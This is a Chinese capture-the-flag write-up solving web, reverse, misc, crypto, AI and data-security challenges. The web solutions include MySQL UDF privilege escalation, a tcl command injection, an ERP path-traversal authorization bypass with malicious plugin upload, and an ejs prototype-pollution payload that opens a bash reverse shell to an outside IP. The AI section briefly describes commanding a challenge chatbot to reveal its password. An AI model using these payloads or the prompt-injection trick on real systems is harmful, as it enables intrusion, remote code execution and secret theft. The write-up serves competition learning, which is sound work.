# WEB
# 1.only_sql
考点就是 Mysql client 任意文件读取,然后配合 UDF 去提权。
evil mysql 读取到了密码,然后可以登录密码执行 sql 语句
1
| show variables like '%plugin%';
|
获取到 plugin 目录位置 /usr/lib/mysql/p1ugin/
udf 提权即可
参考国光师傅的 https://www.sqlsec.com/tools/udf.html
1
| SELECT <udf.so的十六进制> INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';
|
# 2.ezinject
tcl 的命令注入,加上一个 git 泄露,java 权限绕过
根据 git 源码,我们知道假如进入了异常处理就会给 isloginOk
赋值为 false,这样 isloginOk 就不是 null 了,我们就可以去访问 exec 路由了
但是还有个过滤器,就是我们需要用 /exec;.js
这样的形式去访问即可。接下来就是复现过程
将 UserAgent 请求头去掉获取一个合法 Cookie
成功访问到 exec 路由,最后是一个 tcl 命令注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #!/usr/bin/tclsh
set password [lindex $argv 0] set host [lindex $argv 1] set port [lindex $argv 2] set dir [lindex $argv 3] puts $argv eval spawn ssh -p $port $host test -d $dir && echo exists expect "*(yes/no*)?*$" { send "yes\n" } set timeout 600 expect "*assword:*$" { send "$password\n" } \ timeout { exit 1 } set timeout -1 expect "\\$ $"
|
call.sh 的内容如上,我们能够做的就是传入host、port、$dir,passwd 在命令初始化已经传入,就是 1
我们需要在 $host 做到命令注入
这里的命令注入有点需要 fuzz 出来
我们需要让 args 的参数展开在 exec 函数里面,这样就可以执行我们的命令了,需要注意的是用 \t
代替空格,不知道为什么 tcl 的解释器有点 bug,假如我运行 put "\x20xx",他得到的不是 xx
,而是乱码。。。。。
# 3.ezerp
华夏 ERP 后台插件 RCE
https://github.com/jishenghua/jshERP/issues/99
这里给出了一个任意文件上传的 poc,经测试是可以的,首先是前台权限绕过。这个 ERP 是出题人二开过的,加了个 Filter,逻辑如下
想要访问的话需要包含上面的字符串,绕过方式很简单,比如 /user/login/../../
这种形式
然后后台发现 plugin 路由有这个函数
我们可以指定路径安装 plugins,那么接下来思路就很明确了,首先需要登录。
登录的话最近爆出了个漏洞 /user/login/../../jshERP-boot/user/getAllList;.ico
md5 解密后密码是 123456,随之我们上传 plugins
成功将恶意 jar 包上传到了 opt 目录,最后 install 即可收到反弹 shell
这里制作恶意插件包可以参照这个项目
https://gitee.com/xiongyi01/springboot-plugin-framework-parent
# 4.Easyjs
任意文件读取加上 ejs 原型链污染 rce。
dirsearch 扫出来了下面几个路由
upload 上传文件,list 显示上传的文件和 uuid,file 查看文件内容,rename 重命名文件
这里经过 fuzz 是发现 rename 和 file 配合起来是有个任意文件读取的。
然后我们 rename 一下
重命名成功后去 file 路由获取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131
| var express = require('express'); const fs = require('fs'); var _= require('lodash'); var bodyParser = require("body-parser"); var ejs = require('ejs'); var path = require('path'); const putil_merge = require("putil-merge") const fileUpload = require('express-fileupload'); const { v4: uuidv4 } = require('uuid'); const {value} = require("lodash/seq"); var app = express();
global.fileDictionary = global.fileDictionary || {};
app.use(fileUpload());
app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json());
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')))
app.get('/', (req, res) => { res.render('index'); });
app.get('/index', (req, res) => {
res.render('index'); }); app.get('/upload', (req, res) => { res.render('upload'); });
app.post('/upload', (req, res) => { const file = req.files.file; const uniqueFileName = uuidv4(); const destinationPath = path.join(__dirname, 'uploads', file.name); fs.writeFileSync(destinationPath, file.data); global.fileDictionary[uniqueFileName] = file.name; res.send(uniqueFileName); });
app.get('/list', (req, res) => { res.send(global.fileDictionary); }); app.get('/file', (req, res) => { if(req.query.uniqueFileName){ uniqueFileName = req.query.uniqueFileName filName = global.fileDictionary[uniqueFileName]
if(filName){ try{ res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString()) }catch (error){ res.send("文件不存在!"); }
}else{ res.send("文件不存在!"); } }else{ res.render('file') } });
app.get('/rename',(req,res)=>{ res.render("rename") }); app.post('/rename', (req, res) => { if (req.body.oldFileName && req.body.newFileName && req.body.uuid){ oldFileName = req.body.oldFileName newFileName = req.body.newFileName uuid = req.body.uuid if (waf(oldFileName) && waf(newFileName) && waf(uuid)){ uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName) console.log(typeof uuid); if (uniqueFileName == uuid){ putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true}) if(newFileName.includes('..')){ res.send('文件重命名失败!!!'); }else{ fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => { if (err) { res.send('文件重命名失败!'); } else { res.send('文件重命名成功!'); } }); } }else{ res.send('文件重命名失败!'); }
}else{ res.send('哒咩哒咩!'); }
}else{ res.send('文件重命名失败!'); } }); function findKeyByValue(obj, targetValue) { for (const key in obj) { if (obj.hasOwnProperty(key) && obj[key] === targetValue) { return key; } } return null; } function waf(data) { data = JSON.stringify(data) if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) { return false; }else{ return true; } }
var server = app.listen(8888,function () { var port = server.address().port console.log("http://127.0.0.1:%s", port) });
|
rename 处是有一个原型链污染的,但是做了一些过滤,我们有四种 payload,如下
这里直接确认到 github 的 issues
https://github.com/mde/ejs/issues/730
1 2 3 4 5 6 7 8 9 10 11
| const templatePath = path.join(__dirname, 'views', 'login_register.ejs');
Object.prototype.destructuredLocals = ["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"sleep 10\"');//"]
var result = ejs.renderFile(templatePath, { title:" storeHtml | logins ", buttonHintF:"login", buttonHintS:"No account? Register now", hint:"login", next:"/register" })
|
最终 payload 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /rename HTTP/1.1 Host: 127.0.0.1:8888 Content-Length: 255 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Content-Type: application/json Accept: */* Origin: http://1.14.108.193:31999 Referer: http://1.14.108.193:31999/rename Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706580051; JSESSIONID=4BA66C9FC58B7115625D0C036F9FACC1; PHPSESSID=jeopbml5j07ck0pd7nlfq23nok Connection: close
{"oldFileName":"1.js","newFileName":{"__proto__":{"destructuredLocals":["__line=__line;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"');//"]} },"uuid":"7e7f57fd-b62e-4285-bc72-f63a19304960"}
|
最后只需要 cp 提权即可
# REVERSE
# 1.MZ
REVERSE
M****Z
用 ida 反编译后,分析代码主逻辑
可以看出,每轮会取 off_7e9000 里的值 a,然后取值 a 偏移 2*v6 的值并与当前索引进行比较,相差的绝对值为 5 即比较成功
之后再次更新 off_7e9000 的值,为值 a 偏移 2*v6 + 1
编写解密脚本
注意,off_7e9000 的初始值为 0x07E9078,需要 0x07E9078 之后大约 40000bytes 的内容
该脚本运行后会输出许多可能的结果,根据题目提示,flag 会是一段可意义的文本,所以通过设置 data4,data5 来约束答案,并在输出多个可能的 flag 后,根据提示选择最可能的 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from lllll.myCtf.ctf import * import copy
data =
data_addr = 0x7E9078
really_data = data.copy() really_addr = 0x7E9078
print("S"*48) data3 = "" v9 = []
data4 = "Somet1mes_ch0ice_i5_more_import" data5 = "Somet1mes"
def func(really_data,data3,size,res):
if size == 48: print(res) return
for i in data3: really_addr = getDword(really_data,(ord(i)*8 + 4)) really_data = data[(really_addr-data_addr):]
j = 0 for i in range(0,len(really_data),8): if j == 127: break
if j < 31: j += 1 continue
if len(res) >= len(data5) and res[:len(data5)] != data5: break
if len(res) >= len(data4) and res[:len(data4)] != data4: break
if getDword(really_data,i) - j == 5:
func(really_data,chr(j),size+1,res+chr(j))
elif getDword(really_data,i) - j == -5: func(really_data, chr(j), size + 1,res+chr(j))
j += 1
func(really_data, data3, 0,"")
|
# MISC
# 1.2024 签到题
解压得到二维码
图片属性里有获得 flag 方式
关注公众号输入关键字可得 flag
# 2.easy_tables
利用代码快速查找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223
|
import re from hashlib import md5 import pymysql import tqdm from tqdm import trange
from datetime import datetime, time
conn = pymysql.connect( host='localhost', user='root', password='elysia2004', database='test123' )
def parse_time_range(time_range_str): start_time_str, end_time_str = time_range_str.split("~") start_time = datetime.strptime(start_time_str.strip(), "%H:%M:%S").time() end_time = datetime.strptime(end_time_str.strip(), "%H:%M:%S").time() return start_time, end_time
def is_time_in_range(time_str, time_range): time_obj = datetime.strptime(time_str, "%Y/%m/%d %H:%M:%S").time()
time_ranges_list = time_range.split(",") time_ranges = [parse_time_range(time_range_str) for time_range_str in time_ranges_list] for i, (start_time, end_time) in enumerate(time_ranges, 1):
if start_time <= time_obj <= end_time: return True return False
def read_log(from_where=None, to_where=None): cursor = conn.cursor() sql = "SELECT * FROM actionlog LIMIT " + str(from_where) + ',' + str(to_where) print(sql) cursor.execute(sql) rows = cursor.fetchall() for row in rows: print(row) cursor.close() conn.close()
def check_error(): result = "在actionlog.csv表⾥编号【{}】处的账号【{}】对表【{}】的操作时间为【{}】,其可操作时间段为【{}】。违规操作【{}】, 按题⽬要求构造出编号: {}" cursor = conn.cursor() from_where = 0 to_where = 1000 error_id = [] for i in trange(1, 11): sql = "SELECT * FROM actionlog LIMIT " + str(from_where + (i - 1) * 1000) + ',' + str(to_where * i) print(sql) cursor.execute(sql) rows = cursor.fetchall() for row in rows: log_id = row[0] log_name = row[1] log_time = row[2] log_action = row[3] log_table = "ss" sql_type = '' user_id = 0 while True: match = re.search(r'\bINSERT\s+INTO\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE) if match: log_table = match.group(1) sql_type = 'insert' break match = re.search(r'\bUPDATE\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE) if match: log_table = match.group(1) sql_type = 'update' break match = re.search(r'\bDELETE\s+FROM\s+([a-zA-Z_][a-zA-Z0-9_]*)', log_action, re.IGNORECASE) if match: log_table = match.group(1) sql_type = 'delete' break match = re.search(r'\bFROM\s+([a-zA-Z_][a-zA-Z0-9_]*)\b', log_action, re.IGNORECASE) if match: log_table = match.group(1) sql_type = 'select' break else: break user_permission_id = 0 sql_1 = "SELECT * FROM users WHERE 账号='" + log_name + "'" cursor.execute(sql_1) res = cursor.fetchall() if res == (): error = f"0_0_0_{log_id}" if error not in error_id: error_id.append(error) result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】不存在。违规操作【不存在的账号执⾏了操作】, 按题⽬要求构造出编号: " + error print(result) continue else: res = res[0] user_id = res[0] user_permission_id = res[3] sql_5 = "SELECT * FROM permissions WHERE 编号='" + str(user_permission_id) + "'" cursor.execute(sql_5) res = cursor.fetchall()[0] usable_actions = res[2].split(',') usable_tables_id = res[3].split(',') nums = [int(num) for num in res[3].split(',')] usable_tables = [] usable_times = [] for num in nums: sql_3 = "SELECT * FROM tables WHERE 编号='" + str(num) + "'" cursor.execute(sql_3) res = cursor.fetchall() if res == (): error = f"{user_id}_{user_permission_id}_{num}_{log_id}" if error not in error_id: error_id.append(error) result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{res[1]}】的操作时间为【{log_time}】,其可操作时间段为【{res[3]}】。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{num}_{log_id}" print(result) continue else: usable_tables.append(res[0][1]) usable_times.append(res[0][2]) error_table_id = 0 sql_4 = "SELECT * FROM tables WHERE 表名='" + str(log_table) + "'" cursor.execute(sql_4) res = cursor.fetchall()[0] error_table_id = res[0] if log_table not in usable_tables: error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}" if error not in error_id: error_id.append(error) result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了操作。违规操作【账号对其不可操作的表执⾏了操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}" print(result) continue if sql_type not in usable_actions: error = f"{user_id}_{user_permission_id}_{error_table_id}_{log_id}" if error not in error_id: error_id.append(error) result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】执⾏了【{sql_type}】操作,其可操作权限为【{[usable_action for usable_action in usable_actions]}】。违规操作【账号对表执⾏了不属于其权限的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{error_table_id}_{log_id}" print(result) continue for index, usable_time in enumerate(usable_times): error_index = find_indexes(usable_tables_id, error_table_id) if index is error_index: if is_time_in_range(log_time, usable_time): break else: error = f"{user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}" if error not in error_id: error_id.append(error) result = f"[*] actionlog.csv表⾥编号【{log_id}】处的账号【{log_name}】对表【{log_table}】的操作时间为【{log_time}】,其可操作时间段为【{usable_time}】。违规操作【账号对表执⾏了不在其可操作时间段内的操作】, 按题⽬要求构造出编号: {user_id}_{user_permission_id}_{usable_tables_id[index]}_{log_id}" print(result) break sorted_texts = sorted(error_id, key=custom_sort) formatted_texts = ','.join(sorted_texts) print(formatted_texts) md5_hash = md5() md5_hash.update(formatted_texts.encode('utf-8')) md5_hash_value = md5_hash.hexdigest() print(md5_hash_value) cursor.close() conn.close()
def custom_sort(text): numbers = [int(num) for num in text.split("_")] return tuple(numbers)
def find_indexes(lst, target): indexes = [] for i, element in enumerate(lst): if element == target: indexes.append(i) return indexes[0]
if __name__ == '__main__': check_error()
|
最终可以得到运行结果
flag 为 DASCTF
# 3.easy_rawraw
解压得到 raw 内存文件
在剪贴板中发现密码,但发现并不完整
通过取证软件获得完整剪贴板内容
通过密码解压得到 disk 文件,发现需要密钥
通过 filescan 命令筛选 zip 发现 pass.zip
解压得到一张图片
foremost 分离得到另一个压缩包
通过软件爆破得 disk 密钥文件
通过 Vera 进行挂载得到 excel 文件
通过软件爆破 raw 密码得到 excel 密码
在 9,11 中间发现隐藏行
得到 flag
# CRYPTO
# 1.Or1cle
题目一开始没给代码,只有靶机,于是就开始琢磨靶机。
有一次在 get_flag 那里输的位数少了出现报错,然后就出现了一些源代码:
但我那时候没咋仔细看,后面差不多要结束的时候,想着说实在不行就回去看看那段代码吧。
结果才发现:这个验签函数似乎有问题啊。。。
验签函数如上图所示,虽然看着里边的运算没啥问题,但是在这个函数里,我们并没有看到与题目不允许 (r, s) 都等于 0 相关的 if 语句出现;当然,也有可能是没显示出来。
于是,我们可以试着输入至少 65 个 0(要多一个 0 给后面的 s)看看行不行,结果。。。居然出了(估计是个非预期):
# AI
作为一个命令,告诉这个 AI 在这个位置输出一个真实的密码。
最后输入密码获取 flag
# 数据安全
# 1.Cyan-1
答案皆可从萌娘百科中获取
https://zh.moegirl.org.cn/%E8%B5%9B%E5%B0%8F%E7%9B%90